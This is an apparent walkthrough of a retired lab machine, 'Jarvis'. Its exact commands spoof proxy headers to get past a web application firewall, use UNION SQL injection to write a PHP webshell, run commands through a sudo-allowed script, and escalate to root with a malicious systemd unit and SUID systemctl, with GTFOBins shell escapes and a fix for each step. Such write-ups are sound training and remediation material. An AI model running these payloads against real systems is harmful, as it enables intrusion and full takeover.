Jarvis
Summary
The Stark Hotel PHP booking application on port 80 exposed a SQL injection vulnerability in its room-lookup parameter. IronWAF 2.0.3, protecting both HTTP services, blindly trusted the X-Forwarded-For header supplied by the connecting client and skipped inspection when that header claimed a localhost origin — allowing me to spoof an internal source and bypass all protection.
With inspection disabled, a UNION-based SQL injection wrote a PHP webshell to the web root via MySQL's FILE privilege, yielding unauthenticated remote code execution as www-data. A no-password sudo rule permitted the web-server account to invoke an administrative Python utility as the user pepper; that script's ping feature passed unsanitised input directly to the shell, enabling command injection and lateral movement to pepper's account with the user flag.
Once operating as pepper, I found that /bin/systemctl carried the SUID bit for the pepper group. A malicious oneshot systemd service unit written to pepper's home directory and activated through the SUID binary executed as root, produced a setuid-root copy of /bin/bash, and granted full system control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sCV -p 22,80,64999 $TARGETcurl -i http://$TARGET/curl -i "http://$TARGET/room.php?cod=1"Exact commands 1
curl -i -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Real-IP: 127.0.0.1' -H 'Client-IP: 127.0.0.1' "http://$TARGET/room.php?cod=1"FixConfigure IronWAF to ignore proxy-identity headers from untrusted sourcesHigh
Exact commands 2
curl -G "http://$TARGET/room.php" --data-urlencode "cod=-1 UNION SELECT 1,2,3,4,5,'<?php system(\$_GET[\"cmd\"]); ?>',7 INTO OUTFILE '/var/www/html/xp.php'-- -" -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Real-IP: 127.0.0.1' -H 'Client-IP: 127.0.0.1'curl "http://$TARGET/xp.php?cmd=id"FixParameterise all database queries to eliminate SQL injectionCritical
Exact commands 3
curl --get "http://$TARGET/xp.php" --data-urlencode 'cmd=id; hostname'curl --get "http://$TARGET/xp.php" --data-urlencode 'cmd=find /home -name user.txt 2>/dev/null; ls -l /var/www/Admin-Utilities/'curl --get "http://$TARGET/xp.php" --data-urlencode 'cmd=sudo -l'FixRevoke MySQL FILE privilege and prevent the database process from writing to the web rootHigh
Exact commands 1
curl --get "http://$TARGET/xp.php" --data-urlencode "cmd=printf '%s\n' '\$(cat /home/pepper/user.txt>/tmp/u)' | timeout 5 sudo -u pepper /var/www/Admin-Utilities/simpler.py -p 2>&1; cat /tmp/u 2>&1"FixRemove the www-data sudo rule for simpler.py and eliminate its command injectionCritical
Exact commands 4
find / -perm -4000 -type f 2>/dev/nullcat > /home/pepper/r.service << 'EOF'
[Unit]
Description=r
[Service]
Type=oneshot
ExecStart=/bin/sh -c "cp /bin/bash /home/pepper/rootbash; chmod 4755 /home/pepper/rootbash"
[Install]
WantedBy=multi-user.target
EOF/bin/systemctl link /home/pepper/r.service && /bin/systemctl enable --now /home/pepper/r.service/home/pepper/rootbash -p -c 'cat /root/root.txt'FixRemove the SUID bit from /bin/systemctlCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.25 ((Debian)) |
| 64999/tcp | http Apache httpd 2.4.25 ((Debian)) |